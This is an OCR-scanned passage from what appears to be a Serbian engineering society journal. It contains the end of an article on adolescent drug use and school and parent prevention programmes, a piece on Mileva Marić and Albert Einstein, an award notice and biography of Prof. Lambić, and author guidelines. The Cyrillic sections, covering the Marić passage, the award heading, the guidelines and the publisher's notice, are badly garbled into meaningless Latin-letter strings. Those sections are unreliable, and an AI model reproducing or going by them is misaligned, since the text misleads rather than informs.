pada samopouzdanja i samocenjenja. To je posledica
veoma brzih telesnih promena na koje se nije uvek lako
navici ali i isprobavanja novih nacina komunikacije sa
roditeljima i vrSnjacima. Smanjeno samocenjenje je
veoma bolno, zato §to mladi jo§ uvek ne mogu da shvate
da su njihove krize prolazne i da su normalna pojava u
razvoju. U ovoj fazi, mladi uce da podnesu psihicki bol.
To je vreme kada pate dublje i intenzivnije nego §to su
ikad patili i $to ¢e ikad patiti. Sve nabrojane promene
mogu povecati rizik da adolescent podlegne razlicitim
posrednim i neposrednim pritiscima da "prihavti igru sa
drogom". Naravno, kljuéno je pitanje: zasto neki mladi
izazove adolescentskog perioda koriste kao priliku za
spoznavanje samih sebe i razvoja, a neki pribegavaju
drogama? Brojni uticaji koje mlada osoba trpi u



porodici, $koli i Sirem okruzenju imace odlucujucu
ulogu.

Statisticki podaci Svetske zdravstvene organizacija
(SZ0) pokazuju da u periodu izmedu trinaeste i
petnaeste godine oko 10% adolescenata ima neko
iskustvo sa drogom. Sa povecanjem uzrasta raste i
procenat onih koji su probali ili konzumiraju neku vrstu
droge. Najzastupljenija je marihuana, koja se cesto
smatra lakom drogom, da bi se pokazalo da su njeni
efekti relativno blagi u poredenju sa efektima drugih
droga. Preko 30% mladih Kkoji su imali iskustvo sa
drogom prvi susret ostvaruje u S$koli, na Zurci, u
diskoteci ili u svom stanu.

Zloupotreba psihoaktivnih supstaci je
viSedecenijski problem u svetu, a sve viSe i kod nas.
Radena su mnogobrojna istrazivanja s ciljem da se
problem rasvetli i pronadu adekvatna resenja. Tako su
identifikovane cetiri faze koris¢enja droge kod mladih:
konzumiranje piva i vina; konzumiranje Zestokih pica;
pusenje marihuane; koris¢enje drugih supstanci kao $to
su stimulansi, sedativi, halucinogeni, kokain i heroin
koji se obi¢no nazivaju teskim drogama da bi se
pokazalo da su njihovi efekti relativno shazni u
poredenju sa efektima marihuane. Dakle, istrazivanja su
pokazala da samo mladi koji su koristili droge u jednoj
fazi postaju njeni korisnici u narednoj, i da su tu izuzeci
veoma retki. Tako, skoro svi adolescenti koji piju
zestoka pic¢a u prethodnoj fazi su pili pivo i vino; skoro
svi koji puse marihuanu, prethodno su pili zestoka pica,
a skoro svi koji koriste teske droge prethodno su imali
iskustvo sa marihuanom. Mladi koji prethodno nisu
koristili droge retko probaju marihuanu a da prethodno
nisu prosli kroz fazu konzumiranja alkohola, a oni koji
su pili alkohol retko eksperimentisu sa kori$¢enjem
zabranjenih droga a da prethodno nisu probali
marihuanu (prema podacima SZO).

Cinjenica da kori$¢enje tzv. teskih droga nastaje
kao posledica prethodnog konzumiranja lakih ne znaci
da korisc¢enje jedne droge obavezno vodi ka drugoj. Ne
deSava se nuzno da adolescenti koji piju, obavezno
predu na marihuanu, a za one koji koriste marihuanu
nije obavezno da postanu bududi Kkorisnici kokaina i
heroina. S druge strane, verovatnoca Kkoriséenja
odredene supstance u odredenoj fazi bice veca medu
mladima koji su Koristili neku supstancu u prethodnoj
fazi nego medu onima koji to nisu. Studije SZO su
pokazale da je u Sestomese¢nom periodu pracenja
ucenika srednje $kole utvrdeno, da je 27% onih Kkoji su
prethodno pusili ili pili probalo marihuanu, dok je samo
2% onih koji su je probali a da prethodno nisu ni pusili
ni pili. Sliéno tome, 26% korisnika marihuane iz ovih
istrazivanja je otiSlo korak dalje (i probalo stimulanse,
halucinogene ili heroin), dok je samo 1% onih koji su ih
probali a da nikad pre toga nisu pusili marihuanu.
Dakle, istrazivanjima je utvrdeno je da postoje Sabloni
koris¢enja droge Kkoji se mogu svrstati u cetiri
kategorije: a) eksperimentalno, b) drustveno, V)
medicinsko i g) nekontrolisano (zavisnic¢ko) koriséenje.
Mladi koji pokazu sklonost ka eksperimentalnom
kori$¢enju droga obi¢no probaju tzv. lake droge jednom
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ili, mozda, nekoliko puta iz radoznalosti da bi stekli
novo iskustvo, a onda prestaju da ih koriste. U slucaju
drustvenog korisc¢enja droge, mladi koriste drogu kao
sredstvo ucestvovanja u grupnim aktivnostima sa
vr$njacima. Kako se, ponekad, adolescenti mogu
okupljati prvenstveno radi zajednickog uzivanja u drogi,
drustveno koris¢enje droge se najviSe primenjuje na
zurkama, plesovima, koncertima i u drugim posebnim
prilikama okupljanja mladih radi zabave. Kao i
eksperimentalno koris¢enje droge, drustveno koris¢enje
pokazuje tendenciju samo povremenog i neredovnog
konzumiranja droge. Medicinsko koriséenje droge
podrazumeva konzumiranje droge kao sredstva za
umirenje anksioznosti, tenzije ili pri razlicitim
operativnim zahvatima. Po samoj svrsi kojoj sluzi,
medicinsko koriséenje droge postaje redovan il
uobicajen nac¢in da se osoba suoci sa ili pobegne od
zivotnih problema. Pema SZO, ucenici koji redovno
koriste alkohol ili drogu u manjim koli¢inama izjavili su
da to ¢ine prvenstveno da bi se oslobodili nervoze ili
depresije, da bi pobegli od problema, da bi se opustili i
uzivali u efektima koje ona proizvodi, dok je retko kao
razlog navedena grupna (drustvena) pripadnost. Tako se
dolazi do zaklju¢ka da je medicinsko koriséenje droge,

uglavnom, individualno iskustvo. Nekontrolisano
(zavisnicko) koris¢enje droge, takode predstavlja
individualno iskustvo. Sastoji se od navike na

konzumiranje jedne ili vise droga i zavisnost od
droge(a). Bilo koja droga moze postati navika ako osoba
postane zavisna fizi¢ki i mentalno, od efekata koje ona
proizvodi. Karakteristika koja definiSe osobu koja je
zavisnik jeste da ta osoba osec¢a realnu fizicku i psihi¢ku
agoniju (simptomi odvikavanja) kada im se uskrati
droga. Rezultat toga je da zavishici, u odnosu na sva
Cetiri tipa korisnika droga, najc¢es¢e i najredovnije
koriste drogu. Brojni istraziva¢i su nasli znacajne
dokaze emocionalnih poremecaja kod onih koji
prekomerno koriste drogu. Kod mladih, generalno
govoreci, §to mladi ljudi vise koriste alkohol i druge
droge, to je veca verovatnoca da ¢e: imati lo§ uspeh u
Skoli; da ¢e sve manje ucestvovati u grupnim
aktivnostima svojih vr$njaka; da ¢e imati sve losije
odnose sa roditeljima i da ¢e podle¢i delinkventnom
ponasanju.

Program primarne prevencije bolesti zavisnosti bi
trebalo da obuhvati pre svega stalnu objektivnu i
organizovanu edukaciju, posebno mladih. Vaspitanje
treba da promeni stavove u ponasanju u smislu
ostvarenja sadrzajnog Zzivota i formiranja negativnih
stavova prema narkomaniji, alkoholu i duvanu. U toj
edukaciji trebalo bi da budu ukljuceni svi: roditelji,
nastavnici, zdravstveni radnici, drustvo u celini. Imajuéi
to na umu stru¢njaci su u zadnjih nekoliko godina
pravili niz programa koji su namenjeni edukaciji u
oblasti droga. Ovi programi su se u pocetku zasnivali na
ocekivanjima da adolescenti koji su na adekvatan nacin
informisani o rizicima konzumiranja psihoaktivnih
supstanci nece ni pokusati da ih probaju. Medutim, ma
koliko da je to ocekivanje logi¢no, nema pouzdanih
dokaza da je ucestvovanje u programima obrazovanja u



oblasti droga dovoljno sprecilo adolescente da
konzumiraju drogu. Naprotiv, neka istrazivanja su
pokazala da informisanje mladih o drogama cesto ima
efekat "bumeranga™, odnosno da se vise povecava nego
§to se smanjuje nivo konzumiranja droga. Pocetni
napori U edukaciji u oblasti Stetnog dejstva
psihoaktivnih supstanci bili su neuspesni ne zato $to su
bili loSe koncipirani, ve¢ zbog toga $to su bili mali i §to
su kasno "stigli". Vedina adolescenata na pocetku
srednje $kole, koji su kasnije imali problema sa drogom,
vec su pre toga Koristili lake droge. Samim tim, kada su
u pitanju ucenici srednje Skole, ne moze se previse
ocekivati od obezbedivanja konkretnih informacija za
njih. Isto tako, ni moralne pridike namenjene mladima
ne mogu dati znacajne pozitivne rezultate jer su sistemi
vrednosti na ovom uzrastu uglavnom ve¢ oformljeni
pod uticajem porodice i vr$njaka.

Imajuci sve to na umu, edukacija u oblasti droga u
srednjoj Skoli postepeno je prebacena u niZe razrede, a
fokusiranje na rizik koji postoji pri konzumiranju droga
zamenjeno je fokusiranjem na prednosti koje postoje
kada se droga ne Koristi. Istovremeno, savremeni
programi  prevencije  zloupotrebe  psihoaktivnih
supstanci posebnu paznju posvecuju pruzanju pomoci
mladim ljudima da postanu dovoljno sigurni u sebe i
odlu¢ni u pruzanju otpora drustvenim uticajima koji ih
mogu dovesti u neprilike. To znaci da se intenzivno radi
na tome da se adolescenti osposobe da se suprotstvae
svim nagovorima da koriste droge i svim izazovima
koje jedno takvo iskustvo moze da im pruzi. Programi
ove vrste su namenjeni i ucenicima mladih razreda
srednje Skole, ali su posebno pripremljeni za ucenike
visih razreda osnovne Skole obezbeduju¢i im veca
znanja o posledicama koriséenja droga, generiSudi
negativne stavove prema konzumiranju droga. Programi
se, sa stanovista bezbednosne kulture mladih, uglavhom
sprovode na dva nivoa: a) edukacija roditelja i b)
edukacija ucenika.

Aktivnosti edukacije roditelja se ostvaruju kroz
kontinuiranu saradnju, roditeljske sastanke; kroz
formiranje zdravstvenih odbora i dr. Tim Kkoji se sastoji
od zdravstvenih i prosvetnih radika se prosiruje kroz
uces¢e samih ucenika i njihovih roditelja. Aktivnosti
edukacije roditelja obuhvataju: upoznavanje roditelja sa
osobenostima decjeg i adolescentnog perioda i
faktorima koji najcesc¢e dovode do poremecaja u razvoju
mladih, posebno onih koji dovode do zloupotrebe droga;
njihovo osposobljavanje da aktivno deluju u prevenciji
poremecaja u razvoju dece i omladine i da predupreduju
takve pojave; omogucavanje diskusija i razgovora
roditelja sa ekspertima i savetnicima iz ove oblasti;
podsticanje roditelja da neodlozno i neizostavno potraze
pomo¢ ako posumnjaju da njihovo dete koristi drogu.

Aktivnosti  edukacije  ucenika  obuhvataju:
implementaciju ~ programa  primarne  prevencije
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zloupotrebe psihoaktivnin  supstanci u postojece
nastavne planove, od obdani$ta do zavr$nih razreda,
uceci decu da je upotreba droge Stetna (podrzavajudi
odbrambene snage ucenika); razvijanje pozitivne
motivacije, osamostaljivanje i gradenje vere u sebe i
sopstvene mogucnosti, postepeno prihvatanje sve
odgovornijih uloga kroz podsticaj i ohrabrivanje, kao i
stvaranje i negovanje atmosfere drugarstva i uzajamnog
postovanja; edukaciju grupe ucenika da preventivno
deluju na vrsnjake da se suprotstave narkomaniji, da
ubeduju korisnike narkotika da traze pomoc i prijavljuju
one koji u $koli prodaju drogu; uklju¢ivanje Sto veceg
broja u¢enika u vannastavne aktivnosti kako bi se, kroz
organizovano angazovanje u slobodnom vremenu,
kreativno potvrdili na onim sadrzajima koji donose
radost i  zadovoljstvo.  Istovremeno,  ovakvo
angazovanje, ostvaruje zastitu od alijenacije - otudenja
licnosti i usvajanje eticki pozitivnin vrednosti i
kriterijuma; intenzivan rad odeljenskih zajednica sa
temama i psiholoskim radionicama koje ¢e imati za cilj
razvijanje pozitivne slike o sebi, jac¢anje ega u cilju
odbrane od poroka, razvoj saradnicke komunikacije,
dobre atmosfere u $koli, u€enje pruzanja pomoéi i
podrske drugima, uvazavanje li¢nosti drugih, ucenje
tolerancije na razli¢itost, suocavanje sa neuspehom i u
vezi sa tim jacanje licne kontrole i istrajnosti;
prepoznavanje i otkrivanje problema svakog deteta, a
zatim pruzanje pomoci da se problemi prevazidu i da se
ostvari li¢na afirmacija kroz rad i adekvatno ponasanje;
rano otkrivanje zloupotrebe droga, konsultacije sa
porodicom, zdravstvenom i psiholosko-pedagoskom
sluzbom, razgovor sa uc¢enikom, ukoliko je potrebno i sa
odeljenskom zajednicom, uz apsolutno izbegavanje
prikrivanja problema ili stigmatizaciju zavisnika;
saradnja sa institucijama i organizacijama koje se bave
istim problemom; nastavnicko vece kroz inovirane
programe treba da obezbedi stalno informisanje
nastavnika i drugih pedagoskih radnika o problemima
zloupotrebe droga, metodama i oblicima rada u borbi
protiv njihove pojave i Sirenja medu mladima.

7.ZAKLJUCAK

Dakle, sa aspekta bezbednosne kulture mladih, koja
implicitno preferira ka primarnoj prevenciji zloupotrebe
psihoaktivnih  supstaci u periodu adolescencije,
neophodno je usredsredivanje na pravljenje kvalitetnih
programa prevencije i njihovu permanentnu primenu na
svim drustvenim nivoima (porodicu, $kolu, vrnjacke
grupe, nastavnici, zajednica...), a zatim na programe
prepoznavanja onih koji mogu biti skloni da posegnu za
drogom (rizi¢ne grupe) i na kraju, ali ne manje vazno,
na programe tretmana odvikavanja od droga onih koji su
podlegli tom zlu.
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Cryauja MmeauiuHe Ha YHuBep3utery y Llupuxy ynucana je 1896. ronune. Hcre jecenu npenasu Ha JpxaBHy
MOJIUTEXHUYKY IIKOJY TJe OTHO4YIe CTyAuje MaTteMaTike U (usuke. [IpBe nBe roauHe cTyauja Ouie cy joj Beoma
YCIIEITHE UaKO je Oua jeHa 0] PETKUX JKEHa y OBO] HIKOJIH.

Jenan cemecrap mpoBena je U Ha YHuBep3uTeTy y Xajmenbepry. Ha mpenaBamiMa (U3UKe yrio3HANA je CBOT
konery Anbepra AjHINTajHA.

Kana ce Munesa 1899. roaune Bpatuna y lupux muxoBa Jby0aB je ruiaHyna. AJOEpTOBH POOUTEIBY Cy CE
MIPOTUBKJIN OBOj Be3u. MuiieBa je Ouna crapuja ox AnbepTa Tpu rojfuHe, Ouia je Xpoma u Huje Ouna jeBpejka. 36or
Bese ca AsbepTom, MuieBa je 3amoctaBuia CTyIHje, JOK je AnOepT MUILIOMHPAO, 3aIOCIU0 CE U OTIIOYEO CBOjY
yenemHy kapujepy. Ilogerxkom 1902. rogune Munesa je y HoBom Cany poxuna xhepky Jlmsepn. Y cBojoj 27.
TOIMHH, Ca He3BpeIIeHNM (akyaTeToM U BaHOpauHoM hiepkoM ocehana ce nome. AnbGept u MusneBa cy ce BEeHYAIH y
Bepny 6. janyapa 1903. ronqune. Hemro npe tora JIuzepn ce pezabornena ox mapiaxa ¥ HUje O3HATO IITa ce ca oM
nasbe nemanaio. Mehyrnm, kaga ce MuneBa npunpyxuina Anbepry y bepry nere nuje 6mo ca moMm. J{ok je Anbept
ITyHO pajuo, a cnodomaHo Bpeme nocsehnBao ¢usniy, Munesa je 6ma ontepeheHa TyOMTKOM JieTeTa M HEYCIIEXOM
Ha (akynrery. Mnak, j5uxoB Opak je KpeHyo Ha 00Jbe Kajla UM Ce POJHO CHH XaHC.

Anbept je 1905. ronune 06jaBmo pax y koMme je oOjacHmo (oroenekrpuunu edekar, a 1908. roqune je Ha
VYuusepsurery y bepHy nobuwo ymuenny 3a pan. Wayhe romune mzabpaH je 3a BaHpenHor mnpodecopa ¢usuke Ha
VYuusepsurery y Lupuxy.
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Enyapn, npyru cur MuneBe u Anbepra, pomuo ce 1910. roqune. Cnenehe rogunae \uxoBa OPOAUIA CE CEH Y
[Ipar rne je Anbept u3abpan 3a penoBHor npodecopa Yuusepsurera. bopasak y IIpary MuieBu je 6no mocedHO
TeXak 300r HAMOHAIUCTHYKUX HAMETOCTH n3Mel)y Hemala M 4exa ca KojuMa Ce OHa Kao CPIKHEba COJHIapHcaa.
Kana cy ce 1912. romune Bpatmnm y Llupux MuseBa je noBepoBana aa he nohu Gossm nanu. Ha meHy Benmky
kKaocT AOepToB oHOC ca leroBoM pohakom Enzom JlebeHTan mpeTBOpeH je y JbydaBHHU. Kpusa muxoBor Opaka je
eckanmpana 1914. ronune kaga je Andept MpuxBaTHO MONOXKa] cTainHor wiana [Ipycke akagemuje Hayka U u3abpaH
3a peloBHOT Tipodecopa YHUBep3uTeTa y bepmuny. Munesa je ucrpsa oxduna aa npati Anbeprta y BepiuH, momro
je tamo xuBena Emsza. Mmak cy ce npecemwin y bepmuH. AnmbepT je Taja HampaBHO YWTAaB CHHCAK HapaAOH U
3armoBecTd mTo MujeBa HHje MOTJIa J1a M3IPKH.

Jan npe n30ujama IpBor CBeTCKOr panga 1914. ronune, MuieBa ce 3ajeHo ca jaeroM BpaTmwia y [lupux. Anbept
je ca En3om ocrao y bepnuny u Tana nopimo Omury TeopHjy peIaTUBHOCTH.

Kana je 1916. roguae AnbepT 3aTtpakuo on MuieBe pa3Bon Opaka oHa ce paz0oiena. MueBa u Anbept cy ce
3BaHWYHO pa3penu 14. ¢edpyapa 1919. roqune, a AnOept je MpUXBaTHO Ja HoBaIll goOujeH 3a HoGenoBy Harpamgy
npunagaae Musesu. Hakon Tora Asnbept ce oxxenrno Em3om. Te romuHe 3a Bpeme nmompauerma CyHIa JONLIO je 0
CaBHjama CBETIIOCTH Yy TPABUTAIMOHOM MOJbY IITO je 6WO rimaBHU aoka3 Ommre Teopuje penaruBHocTH. OBO je
AnbepTy AjHINTajHY JOHENIO CBETCKY ciaBy. Melhytum, AjHmrajH je HoOenoBy Harpany 3a ¢usumky g00mo 3a
o0janmene (POTOCNEKTPUIHOT e(eKTa.

3a MwuneBy cy Hacrane termike rogumHe. Otanm Mwmmom ympo je 1922. romguue. Cectpa 30pka MOCHE BHIIE
HEPBHHUX CJIOMOBA IporJjaiieHa je HecmocooHoM, a miahu cun Exyaps je 1930. rogune oboneo ox musodpeHuje.
MunieuHa Majka je ympna 1935, rogumue, a 3atuMm U cectpa 3opka. Crapuju cuH XaHc AnOepT je ca CBOjoM
nopoaunioM 1938. ronuHe eMurpupao y AMepuky.

Munesa je ocrana y3 cBor 6onecHor cuna Enyapna. 30or gyroea Ouna je npunyhena na npona nse kyhe koje je
kynuia o HoBua AnoeproBe Hobenose narpazie. Oko tpehe kyhie mounmy cykobu ca AndepToM AjJHIITAjHOM U OH
Mpe€y3nuMa BJIIACHUIITBO HaJl HbOM.

Kapna jy je obonenu cun Enyapn Hamao, MujeBd U je MO3NTHIO U OHA C€ OHECBECTHMNIA. YMpJla je TpU Mecela
kachuje, 4. aBrycra 1948. ronune. CaxpameHna je Ha Llupuiikom rpodiby.

[TocToju myHO MCTpaXkMBaua M HCTOpHYApa KOjU Cy NpOydaBalM XKMBOTe M Kapujepe MuieBe u Anbepta
AjHIITajHa U KOjU cMaTpajy Aa je MuseBa ogurpalia BeoMa BaXKHy, aKO HE M KJbYYHY YJIOTY, HE CaMO Y )KUBOTY, HETO
U y HaydHoM paay Anbepra AjHiurajua. HaBomHo, mocToje M mUcaHHW JI0OKa3d y OONKMKY mpenucke Mwusese u
AnbepTa y KojuMa ce BUOM jAa je MmieBa ydecTBOBaja y MaTeMAaTHYKHM IIPOpauyHHMa W HaydHMM aHajIM3ama
HajBOKHHUjUX ANOEpTOBMX HaydyHHX JnocTurayha. Y mpujor Tome cy W 4YMibeHUIle Aa je MuseBa Ouia Ha MOYETKY
cTyauja 0osbM CTYIEHT of Anbeprta, Ja je 3a BpeMe OopaBka Ha YHuBep3uTery y Xajmenoepry 1897-98 romune
npoyuaBasia QoroenekrpudHu edekar kon HobenoBua, npodecopa Jlenapaa, aa je xon npodecopa MHUHKOBCKOT
y4uiIa 0 YeTBOPOJMMEH3UOHAITHOj TEOMETPHU]H KOj€ je OCHOBA TEOpH]je PEIaTHBHUTETA.

[ocToje u cBemoyema a cy TpH HajBakHWja AjHINTajHOBA OOjaBJbeHa pajia Ouia MOTIHCaHAa ca AjHIITajH-
Mapuh.

Haxon pa3nasza og MuneBe Andept Bullle HUje 00jaBUO HH jelaH BaxkaH HayuHu paj. ['omuHe 1925. Musesa
Tpaxku of Anbepra Jia joj BpaTH OpUTMHAJE HAjMIO3HATHJU HAYYHUX WIaHa Y3 TPeTHY Ja he OTKPUTH KO je HHXOB
MpaBu ayTop. AHIITAjH jOj je Taja OATOBOPHO Ha jeiaH rpy0 M OKPYTaH HAYHH.

Cse T0 roBOpH Ja je MuneBa Mapuh Ouna He camMoO JKMBOTHU CAlyTHUK ,,CBETCKOT T'€HUJjaJTHOT HAYYHHKA™ U

IUIEMEHUTA MajKa, Hero M ONKMCTaB HaydyHu yMm. Yiora MwuieBe Mapuh y kuMBOTY M HaydHOM paay Anbepra
AjHINTajHA U IaH JJaHAC HHje IOBOJBHO pa3jalllibeHa U 00aBHjeHa je MHOTUM TajHaMa.
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HHXEBEPCKE AETEH/IE SPEFbAHHHA

JpymtBo uHxkemepa 3pemannHa je y 2015, roguHu 3a M3y3eTaH IONPHHOC Pa3BOjy WHKEHEPCKE CTPYKE 3a
NHXEWBEPCKY JIETEH/Y 3PElbAHMHA npornacuio [Ipod.np Mupocnasa Jlam6uha.
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godina u privredi kao Rukovodilac odrzavanja, Glavni konstruktor procesne i energetske opreme i Sef razvoja. Od
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mandata vrSio funkciju prodekana, predsednika Saveta, ¢lana Saveta univerziteta u Novom Sadu, Sefa Katedre za
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projekata) i stru¢nih projekata za potrebe privrede. Autor je preko 200 tehnickih resenja, konstrukcija i inovacija koje
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Srhiji), topotnih pumpi, grejnih i klimatizacionih postrojenja i dr.

Objavio je oko 200 radova u naucno-struénim casopisima i na naucno-struénim skupovima u zemlji i
inostranstvu. Autor je 45 knjiga - univerzitetskih i fakultetskih udzbenika, nauénih monografija i struénih knjiga.

Godine 1998. je imenovan za eksperta Ministarstva za nauku, razvoj i zivotnu sredinu SR Jugoslavije - za oblast
masinskog inZenjerstva, termoenergetike i sundeve energetike. Clan je medunarodnih i domaéih strukovnih
organizacija. Osnivac je i predsednik Drustva za sun¢evu energiju "Srbija solar". Bio je organizator i predsedavajuci
Cetrdesetak domacih i medunarodnih naucno-struénih skupova vezanih za problematiku opste energetike, solarne
energetike, energetske efikasnosti i dr.. Organizovao je viSe $kola mladih talenata iz energetike; jugoslovenski
konkurs za najuspe$nije inovacije iz oblasti energetike i dr. Bio je ¢lan istaknutih domacih i medunarodnih
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Prof. Lambi¢ je napisao i objavio brojne radove koji tretiraju problematiku koriséenja sunceve energije dajuéi na
taj nacin znacajan doprinos nau¢nom opisivanju, razvoju i primeni solarnih tehnologija. Svojim radom i nastavnom
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kadrovi za kvalitetno bavljenje problematikom kori¢enja sunceve energije. Bio je mentor kod izrade preko 40
specijalistickih radova, magistarskih teza i doktorskih disertacija - od kojih viSe magistarskih teza i doktorskih
disertacija koje tretiraju problematiku koris¢enja sunceve energije. Ima licencu za projektovanje, nadzor i izgradnju
investicionih objekata. Glavni je urednik i ¢lan redakcionih odbora desetak naucno-stru¢nih ¢asopisa. Pokrenuo je
naucno-struéne cCasopise (u kojima je i glavni i odgovorni urednik) ENERGETSKE TEHNOLOGIJE,
ENERGETSKA EFIKASNOST (BiH), MENADZMENT, INOVACIJE, RAZVOJ i RAZVOJ I UPRAVLJANJE
(BiH). Za svoj rad je primio brojna domaca i inostrana priznanja. Neka od njih su: Oktobarska nagrada Zrenjanina,
Povelja medunarodne izlozbe opreme i tehnologija za kori§¢enje sunceve energije - SOLAR, Diploma Drustva
inzenjera i tehnicara, Nagrada Narodne tehnike Jugoslavije, Nagrada Regionalne privredne komore - bantaskog
regiona, Orden Legije Casti za doprinos pronalazas$tvu: TANTAE MOLIS ERAT - Belgija, proglasen je
jugoslovenskim "Pronalaza¢em godine" (1998. god.) i dr. Redovni je ¢lan Srpske akademije inovacionih nauka,
International Academy of Authors of Scientific Discoveries and Inventions i Medunarodne tehnolosko-menadzerske
akademije.
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YIIYTCTBO 3A IITMCAILE PATOBA
[

e PasoBu ce 10CTaBIBAjy Y €ICKTPOHCKOM OOJIHMKY Ha AUCKETH HJIH SJICKTPOHCKOM IIOLITOM.

e Pan tpeba na Oyne orkynas y ¢ponty Times New Roman ca hupuiamaanm nucmom. Benmunaa donra 10.

e OOumM pama He Ou Tpedao na Oyae Behu ox 12 cTpanwuma.

e Hacnos paja ce Jaje Ha CPIICKOM M SHIJIECKOM je3uKy.VICrion HacloBa Haase ce MMe U Tpe3uMe ayTopa y3
KOje UJie Hay4YHO WM CTPYUYHO 3Bame , adenaimja (pajHa opraHu3aiuja i BbeHO CeIHIITEe,MECTO, aapeca U
KOHTAKT TeNe(OH WK e-Mau ajapeca. Pajg Mopa a uMa pe3uMe Ha CPIICKOM W CHITICCKOM je3HKY TYKHHE
JI0 JieceT KyI[aHUX peioBa Kao M KJbydHe peud y3 obe Bapujante. Caapxaj paga Tpeba na uma YBOI,

pa3pagHe ACJIOBE U 3aKJby4aK.

e Jlujarpamu, uprexu, ciuke,Tabene Tpeba Ja ce Halase Ha CBOM Mecry y paay. Tekcr wnp. ,,Cnuka 1.“
HaJla3y ce UCIIOJ| CJIMKE Ha CPENIMHU a TeKCT ,,Tabena 1.“ u3Haz taderne neBo.

e Mepe 1 MepHe jearHuUIIe MOpajy OUTH y CKJIay ca BaxehnM mpornucuma y Toj o0JIacTH.
e Jlureparypa ce HaBOaM Ha Kpajy u Tpeba Jia cafp>ku: perHu Opoj, MPe3uMe U MOYETHO CIIOBO MMEHa ayTopa,
Ha3uB pajia,Ha3uMB Yacomuca (WiM Kibure), Opoj W3larma, Ha3WB W3/1aBada, MECTO CEAMINTa W3/aBaya U

TOAWHY U3Jamha.

e CBM NpHjaBJbEHU PAJOBH TOUICKY AHOHUMHO] HAYYHO CTPYYHO] PElICH3UjH U OLIeHH KBajuTeTa o yemy he
ayTopu OMTH 00aBEIITECHH.

e VYpeauuiuTBo yaconuca he npuxBaTUTH caMO HeoOjaBJbEeHE paioBe.

o T[lIpujaBsbenu panoBu ce He Bpahajy ayropuma.
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APYLWTBO UHXEHEPA
3PEHAHUH

PEMNYBJIUKA CPBUJA

Ogaj yaconuc ce pmHaHcupa ns dyeta NPAOA SPEHAHUHA.
CTaBoBM M3paxeHn y 0BOj NybGnmKaumju UCKIby4nea cy
OrOBOPHOCT ayTopa U heroBux capagHuka
1 He npeacTaBrbajy HYXXHO 3BaHu4aH ctas [PALA.
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